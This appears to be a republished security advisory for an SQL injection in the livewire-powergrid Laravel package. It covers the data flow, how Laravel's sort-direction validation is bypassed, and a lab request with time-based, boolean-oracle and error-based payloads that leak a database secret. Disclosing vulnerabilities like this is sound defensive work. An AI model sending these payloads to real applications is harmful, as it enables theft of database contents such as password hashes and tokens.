
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 6.0.0, < 6.10.4
Patched in 6.10.4
Details
The public Livewire property sortDirection is interpolated verbatim into a
raw SQL ORDER BY clause and is not restricted to asc/desc, allowing arbitrary
SQL injection through POST /livewire/update.
Data flow
src/Concerns/Sorting.php: public string $sortDirection; is a
Livewire-bound property with no whitelist/validation (it is only assigned and
flipped by reverseSort()), so it is fully attacker-controlled via the standard
Livewire update endpoint.src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php,
resolvePlaceholders():
preg_replace_callback('/\{(\w+)\}/', fn ($m) => data_get($this->component, $m[1], ''), $sql);
substitutes {sortDirection} with the raw property value.src/DataSource/Support/Sql.php::getSortSqlByDriver() builds the
naturalSort expression, e.g. "... {sortDirection}" / "CAST(...) {sortDirection}",
which is passed to orderByRaw(). The tainted direction lands directly in the SQL
string.Why the framework mitigation does not apply (the bypass)
Normally the Sorting pipeline calls orderBy(resolveSortField($sortField), $sortDirection),
and Laravel validates the direction (Order direction must be "asc" or "desc".).
Setting sortField="" makes the Sorting pipeline skip (filled('') is false),
so the validating orderBy never runs — but the ColumnRawQueries pipeline still
applies the naturalSort orderByRaw unconditionally with the attacker-controlled
{sortDirection}. The result is arbitrary SQL in the ORDER BY, bypassing Laravel's
direction validation entirely.
Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10 + MariaDB, with a
PowerGrid table whose name column uses ->naturalSort(true).
Request (standard Livewire update; CSRF token taken from the page as any Livewire call):
POST /livewire/update
components[0].snapshot = <the PowerGrid component snapshot from the page>
components[0].updates = {"sortField": "", "sortDirection": "asc, (SELECT SLEEP(3))"}
Observed results:
SQLSTATE[HY000] 1105) — the injected subquery reaches
the database verbatim:
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, ...) ...) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1)))) limit 3 offset 0
asc -> 0.02s (baseline)
asc, (SELECT SLEEP(3)) -> 9.04s (injection executes)
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%') -> 9.03s (TRUE — value leaks)
... LIKE 'ZZZ%' -> 0.02s (FALSE — boolean oracle)
A parameterised PoC script is available and can be attached privately on request.
Any actor who can reach a PowerGrid table using naturalSort and control the
sortDirection property can read arbitrary data from the database (other tables,
password hashes, tokens) via a blind boolean/time-based oracle. Stacked queries are
blocked by the default PDO MySQL driver, so impact is read-oriented (confidentiality),
but complete for readable data. In multi-tenant/admin apps this enables full
cross-tenant data exfiltration.
EPSS, exploit probability
Low0.35%
estimated chance of real-world exploitation in the next 30 days, higher than 20.7% of every CVE FIRST.org scores
Refreshed 11/27/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
More composer advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.